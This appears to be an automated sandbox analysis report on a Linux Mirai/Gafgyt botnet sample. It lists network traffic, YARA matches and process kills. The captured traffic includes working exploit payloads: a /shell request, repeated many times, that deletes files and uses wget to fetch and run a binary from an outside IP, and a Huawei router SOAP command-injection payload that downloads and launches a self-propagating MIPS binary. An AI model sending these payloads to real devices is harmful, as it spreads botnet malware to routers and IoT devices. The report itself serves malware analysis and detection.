Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: plutoc2.site

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: na.elf	String found in binary or memory: http://92.249.48.84/bin
Source: na.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: na.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 59890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38298
Source: unknown	Network traffic detected: HTTP traffic on port 43572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36674
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51028
Source: unknown	Network traffic detected: HTTP traffic on port 60632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53324
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57496
Source: unknown	Network traffic detected: HTTP traffic on port 37702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55190
Source: unknown	Network traffic detected: HTTP traffic on port 37656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55638
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 36560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59202
Source: unknown	Network traffic detected: HTTP traffic on port 35818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58474
Source: unknown	Network traffic detected: HTTP traffic on port 46798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44036
Source: unknown	Network traffic detected: HTTP traffic on port 36016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55408
Source: unknown	Network traffic detected: HTTP traffic on port 33994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54316
Source: unknown	Network traffic detected: HTTP traffic on port 33810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35434
Source: unknown	Network traffic detected: HTTP traffic on port 55190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45668 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32952
Source: unknown	Network traffic detected: HTTP traffic on port 36044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37972
Source: unknown	Network traffic detected: HTTP traffic on port 44988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58130
Source: unknown	Network traffic detected: HTTP traffic on port 37972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35818
Source: unknown	Network traffic detected: HTTP traffic on port 53510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36112
Source: unknown	Network traffic detected: HTTP traffic on port 36954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54066
Source: unknown	Network traffic detected: HTTP traffic on port 33020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46940
Source: unknown	Network traffic detected: HTTP traffic on port 53324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58424
Source: unknown	Network traffic detected: HTTP traffic on port 53318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45964
Source: unknown	Network traffic detected: HTTP traffic on port 48306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34940
Source: unknown	Network traffic detected: HTTP traffic on port 36304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37656
Source: unknown	Network traffic detected: HTTP traffic on port 36674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58444
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59890
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39556 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44988
Source: unknown	Network traffic detected: HTTP traffic on port 39732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48306
Source: unknown	Network traffic detected: HTTP traffic on port 36982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48426
Source: unknown	Network traffic detected: HTTP traffic on port 59382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60632
Source: unknown	Network traffic detected: HTTP traffic on port 45964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33600
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37532
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 43744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46916
Source: unknown	Network traffic detected: HTTP traffic on port 56092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40252
Source: unknown	Network traffic detected: HTTP traffic on port 35162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51780
Source: unknown	Network traffic detected: HTTP traffic on port 48426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38206
Source: unknown	Network traffic detected: HTTP traffic on port 38750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42708
Source: unknown	Network traffic detected: HTTP traffic on port 36242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40520
Source: unknown	Network traffic detected: HTTP traffic on port 43076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42262
Source: unknown	Network traffic detected: HTTP traffic on port 43838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40520 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41046
Source: unknown	Network traffic detected: HTTP traffic on port 54714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58642
Source: unknown	Network traffic detected: HTTP traffic on port 55408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35162
Source: unknown	Network traffic detected: HTTP traffic on port 52658 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47252
Source: unknown	Network traffic detected: HTTP traffic on port 52956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54720
Source: unknown	Network traffic detected: HTTP traffic on port 52860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36242
Source: unknown	Network traffic detected: HTTP traffic on port 29631 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60288
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59186
Source: unknown	Network traffic detected: HTTP traffic on port 58130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49148
Source: unknown	Network traffic detected: HTTP traffic on port 32926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56636
Source: unknown	Network traffic detected: HTTP traffic on port 52156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56876
Source: unknown	Network traffic detected: HTTP traffic on port 36842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60210
Source: unknown	Network traffic detected: HTTP traffic on port 42262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33480
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41776
Source: unknown	Network traffic detected: HTTP traffic on port 42708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32816
Source: unknown	Network traffic detected: HTTP traffic on port 36776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37702
Source: unknown	Network traffic detected: HTTP traffic on port 58474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57186
Source: unknown	Network traffic detected: HTTP traffic on port 60210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57182
Source: unknown	Network traffic detected: HTTP traffic on port 40252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47742
Source: unknown	Network traffic detected: HTTP traffic on port 39542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33480 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36054
Source: unknown	Network traffic detected: HTTP traffic on port 59202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36842
Source: unknown	Network traffic detected: HTTP traffic on port 57182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59494
Source: unknown	Network traffic detected: HTTP traffic on port 60288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52860
Source: unknown	Network traffic detected: HTTP traffic on port 57496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36044
Source: unknown	Network traffic detected: HTTP traffic on port 53498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39556
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57400
Source: unknown	Network traffic detected: HTTP traffic on port 43560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 29631
Source: unknown	Network traffic detected: HTTP traffic on port 36054 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5496.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5496.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5500.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5500.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: Process Memory Space: na.elf PID: 5496, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: na.elf PID: 5500, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/na.elf (PID: 5510)	SIGKILL sent: pid: 3129, result: successful	Jump to behavior
